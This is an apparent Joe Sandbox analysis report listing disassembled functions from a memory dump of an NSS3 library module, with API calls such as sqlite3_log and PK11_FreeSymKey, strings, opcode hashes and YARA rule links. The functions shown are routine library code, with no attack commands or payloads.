Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 9ca94782c42a459e6df29ee68417aea9b3f3d94a67d4d37d6c4938ef3898f33b
Instruction ID: 5997d53c951525434298579600320f11bbd4c3d30f0d89cb8a9ccbabdf8a87f9
Opcode Fuzzy Hash: 9ca94782c42a459e6df29ee68417aea9b3f3d94a67d4d37d6c4938ef3898f33b
Instruction Fuzzy Hash: 9B91E175B042158FDB04CFA9CC54AAABBF1BF45314F1985ACE864AB751D334ED01CBA1

Function 6C62FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C62FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C62FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C62FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C62FDDE

Part of subcall function 6C638800: TlsGetValue.KERNEL32(?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638821
Part of subcall function 6C638800: TlsGetValue.KERNEL32(?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C63883D
Part of subcall function 6C638800: EnterCriticalSection.KERNEL32(?,?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638856
Part of subcall function 6C638800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C638887
Part of subcall function 6C638800: PR_Unlock.NSS3(?,?,?,?,6C64085A,00000000,?,6C5E8369,?), ref: 6C638899

Strings

pkcs11:, xrefs: 6C62FC4F

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 4ed8adf529a3ddb6775ae24b5c39b2babc95f69158136cd50d81b381b244a4ea
Instruction ID: 8f97b7be10715cb700f0d090ee81df791f9a496fcde50e91627ee564d1e51b0c
Opcode Fuzzy Hash: 4ed8adf529a3ddb6775ae24b5c39b2babc95f69158136cd50d81b381b244a4ea
Instruction Fuzzy Hash: EA51F4B1B001319BDB009F68DC40B9A33A5AF4535CF141826DD189BB51EB38E904CF9F

Function 6C56BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C56BE02

Part of subcall function 6C699C40: memcmp.VCRUNTIME140(?,00000000,6C56C52B), ref: 6C699D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C56BE9F

Strings

%s at line %d of [%.10s], xrefs: 6C56BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56BE89
database corruption, xrefs: 6C56BE93

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 0d1309a7abe8cd830a210d26454b45860717e5ffb85576defbe717892c5e7450
Instruction ID: 3dc7dfd7759e9fe0bb30610e9a3c46e6f558f3fd9a0ebf5c587e095b5873a8ac
Opcode Fuzzy Hash: 0d1309a7abe8cd830a210d26454b45860717e5ffb85576defbe717892c5e7450
Instruction Fuzzy Hash: 55313731A482598BC710EF6ACCD4AABBBA2AF42314B088954FE581BF61D375ED04D7D0

Function 6C656DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C656E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C656E57

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C656E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C656EAA

Strings

nol, xrefs: 6C656DF9

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nol
API String ID: 3163584228-122615315
Opcode ID: c19fb5536a6ba94736c3eb7d12c638758da9d5200bd853df1027aee58e71644a
Instruction ID: b6289d8e25f4bc62424b4fc0456ceb87e30f6bfa935ee2bf4f1b38c4c68380ae
Opcode Fuzzy Hash: c19fb5536a6ba94736c3eb7d12c638758da9d5200bd853df1027aee58e71644a
Instruction Fuzzy Hash: 0E31C33171A612EEDB141E34DC04396B7A4AB0231EFB4063DD49AD6B50E731E8A6CF89

Function 6C5E1EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C5E4C64,?,-00000004), ref: 6C5E1EE2

Part of subcall function 6C641820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C5E1D97,?,?), ref: 6C641836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E4C64,?,-00000004), ref: 6C5E1F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E4C64,?,-00000004), ref: 6C5E1F37
DER_DecodeTimeChoice_Util.NSS3(?,dL^l,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5E4C64,?,-00000004), ref: 6C5E1F53

Strings

dL^l, xrefs: 6C5E1F2B, 6C5E1F51

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dL^l
API String ID: 3216063065-2361169477
Opcode ID: ab61bcdbd70f9ec480e5dd10266655bb9b084fdd00c045b3b15571b28bf67546
Instruction ID: d9ef92a484c63e22fb4a34b8cf78916695f5bdb805b32f05e7233c4eb4682dac
Opcode Fuzzy Hash: ab61bcdbd70f9ec480e5dd10266655bb9b084fdd00c045b3b15571b28bf67546
Instruction Fuzzy Hash: B7218471504316AFC700CF2ADD00ADBB7E9AF89699F004929F858C3A41F730E559CBE6

Function 6C5D0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C5D0BDE), ref: 6C5D0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C5D0BDE), ref: 6C5D0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C5D0BDE), ref: 6C5D0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C5D0BDE), ref: 6C5D0E32

Strings

%s incr => %d (find lib), xrefs: 6C5D0E2D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 7f796fd50e3841328099bb3e6014841f31820f446f47cadb146c84cc6d759f58
Instruction ID: 442e458558dd6c885fa61f9de326b6a21393ff2ecf471c19ec167e43e6c27546
Opcode Fuzzy Hash: 7f796fd50e3841328099bb3e6014841f31820f446f47cadb146c84cc6d759f58
Instruction Fuzzy Hash: A4012872B013109FE7209F289C45E1773EDDF85B09B06483ED909D7641E762FC1486E5

Function 6C68AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]gl,00000000,?,?,6C666AC6,?), ref: 6C68AC2D

Part of subcall function 6C62ADC0: TlsGetValue.KERNEL32(?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE10
Part of subcall function 6C62ADC0: EnterCriticalSection.KERNEL32(?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE24
Part of subcall function 6C62ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C60D079,00000000,00000001), ref: 6C62AE5A
Part of subcall function 6C62ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE6F
Part of subcall function 6C62ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AE7F
Part of subcall function 6C62ADC0: TlsGetValue.KERNEL32(?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AEB1
Part of subcall function 6C62ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C60CDBB,?,6C60D079,00000000,00000001), ref: 6C62AEC9

PK11_FreeSymKey.NSS3(?,@]gl,00000000,?,?,6C666AC6,?), ref: 6C68AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]gl,00000000,?,?,6C666AC6,?), ref: 6C68AC59
free.MOZGLUE(8CB6FF01,6C666AC6,?,?,?,?,?,?,?,?,?,?,6C675D40,00000000,?,6C67AAD4), ref: 6C68AC62

Strings

@]gl, xrefs: 6C68AC05

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]gl
API String ID: 1595327144-2962025169
Opcode ID: 438f5c6e405f7e1b958c777fc62df36e143c3bbd55b587458e792966fb894fd2
Instruction ID: 9dd9a2a767780df730ef064658b1e3e2b11bf28ef07756d0d411739e64c0067e
Opcode Fuzzy Hash: 438f5c6e405f7e1b958c777fc62df36e143c3bbd55b587458e792966fb894fd2
Instruction Fuzzy Hash: F90178B56012049BDB00CF14E8C0B5677A8AB05B19F1884A8ED498F786D734E808CBBA

Function 6C579C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C579CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C579D45
EnterCriticalSection.KERNEL32(?), ref: 6C579D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C579DDE

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: aa454d7d8366fc51d9c0e56cad215d8fca93bb32ba56a50f96580966693d95c9
Instruction ID: cdcf95fc5267a9dff65c4f1c2db28bc82c7302c64add9a590efa2ed095454319
Opcode Fuzzy Hash: aa454d7d8366fc51d9c0e56cad215d8fca93bb32ba56a50f96580966693d95c9
Instruction Fuzzy Hash: 20A19171704104CBEB29EF24ED8976E3775AB8331AF18413ED40A47A50DB39D895DBB2

Function 6C601E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C601ECC

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

TlsGetValue.KERNEL32 ref: 6C601EDF
EnterCriticalSection.KERNEL32(?), ref: 6C601EEF
PR_ExitMonitor.NSS3(?), ref: 6C601F37
PR_Unlock.NSS3(?), ref: 6C601F44

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 8d0ac898ce92cff3ffb41aa4cebc139b606808849c0e73e20f4bc41acc306b56
Instruction ID: 14b624aca3db3f8608d11632267104689cd5e04549ee822661461eab2d5c6ebc
Opcode Fuzzy Hash: 8d0ac898ce92cff3ffb41aa4cebc139b606808849c0e73e20f4bc41acc306b56
Instruction Fuzzy Hash: E671DDB2A043019FD714CF24D940A4BB7F1FF89358F144929E8A9A3B21E731F959CB96

Function 6C68DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C68DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C68DE77

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: e836a966043edb38eec7217c1c4855ddecb3ce20098a81d6eb375f935fc87e90
Instruction ID: 60c8fda72be04984a35d5fddfe0cdcca4a32b92c6d441f059399cc77c3ac1328
Opcode Fuzzy Hash: e836a966043edb38eec7217c1c4855ddecb3ce20098a81d6eb375f935fc87e90
Instruction Fuzzy Hash: F7717871A01316CFCB20CF5AC584689B7F4BF89718F25816ED9586B701D730A902CFB4

Function 6C5FDFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(D958E852,6C601397,5B5F5EC0,?,?,6C5FB1EE,2404110F,?,?), ref: 6C5FAB3C
Part of subcall function 6C5FAB10: free.MOZGLUE(D958E836,?,6C5FB1EE,2404110F,?,?), ref: 6C5FAB49
Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(5D5E6C7F), ref: 6C5FAB5C
Part of subcall function 6C5FAB10: free.MOZGLUE(5D5E6C73), ref: 6C5FAB63
Part of subcall function 6C5FAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5FAB6F
Part of subcall function 6C5FAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5FAB76

TlsGetValue.KERNEL32(?,?,6C5FB266,6C6015C6,?,?,6C6015C6), ref: 6C5FDFDA
EnterCriticalSection.KERNEL32(?,?,?,6C5FB266,6C6015C6,?,?,6C6015C6), ref: 6C5FDFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C5FB266,6C6015C6,?,?,6C6015C6), ref: 6C5FE029
PK11_IsLoggedIn.NSS3 ref: 6C5FE046

Part of subcall function 6C608F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FAF
Part of subcall function 6C608F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FD1
Part of subcall function 6C608F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C608FFA
Part of subcall function 6C608F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609013
Part of subcall function 6C608F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609042
Part of subcall function 6C608F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C60905A
Part of subcall function 6C608F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C609073
Part of subcall function 6C608F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C5FDA9B,?,00000000,?,?,?,?,CE534353), ref: 6C609111

PR_Unlock.NSS3(?,?,?,?,6C5FB266,6C6015C6,?,?,6C6015C6), ref: 6C5FE149

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 5527e369500902e38c6aa09dea91ee74578356f26f8c1fbccc3df8caf776bd15
Instruction ID: 0e10fc2f7fcc9f4a95c32d71804082461970c4296c81b1e30a1dfcc7db2d2c77
Opcode Fuzzy Hash: 5527e369500902e38c6aa09dea91ee74578356f26f8c1fbccc3df8caf776bd15
Instruction Fuzzy Hash: 9C515770600601CFDB14DF29C984B6ABBF5BF85309F15896CD8A98B741D771E886CF92

Function 6C60BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C60BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C60BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5E9F71,?,?,00000000), ref: 6C60BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C60BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C60C014

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 50e278ea51ab3915b57af2b0171feb42974c00b80d700c7d35015b185a996db1
Instruction ID: d8d7f735439fc8ea772e763d9030c0a82137aeb507d64fdfd96def0d228fcf04
Opcode Fuzzy Hash: 50e278ea51ab3915b57af2b0171feb42974c00b80d700c7d35015b185a996db1
Instruction Fuzzy Hash: FD41E771B012059BEB08CE66CE44BBA73B9AF85348F108128D919E7B41FB71D805CBA9

Function 6C5DEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C5DEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C5DEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C5DEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5DEEEB
free.MOZGLUE(?), ref: 6C5DEEF6

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: f5c60fb77f1c119ddcd0ce535204103463c975f8714abbd404e5c37d2bb0920f
Instruction ID: d18e3a64af25290ae782c7a0e23d62e8c795e96725e2a715fa76950dfd1dc963
Opcode Fuzzy Hash: f5c60fb77f1c119ddcd0ce535204103463c975f8714abbd404e5c37d2bb0920f
Instruction Fuzzy Hash: 8231B4716007029BD720AF2DCC44766BBF4FB8631AF160639E85A87A60D771F854C7DA

Function 6C5F1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5F1F1C

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C709EBC), ref: 6C5F1FB8
SEC_ASN1EncodeItem_Util.NSS3(6C709E9C,?,?,6C709E9C), ref: 6C5F200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C5F2020

Part of subcall function 6C5E6A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C5EAD50,?,?), ref: 6C5E6A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5F2030

Memory Dump Source

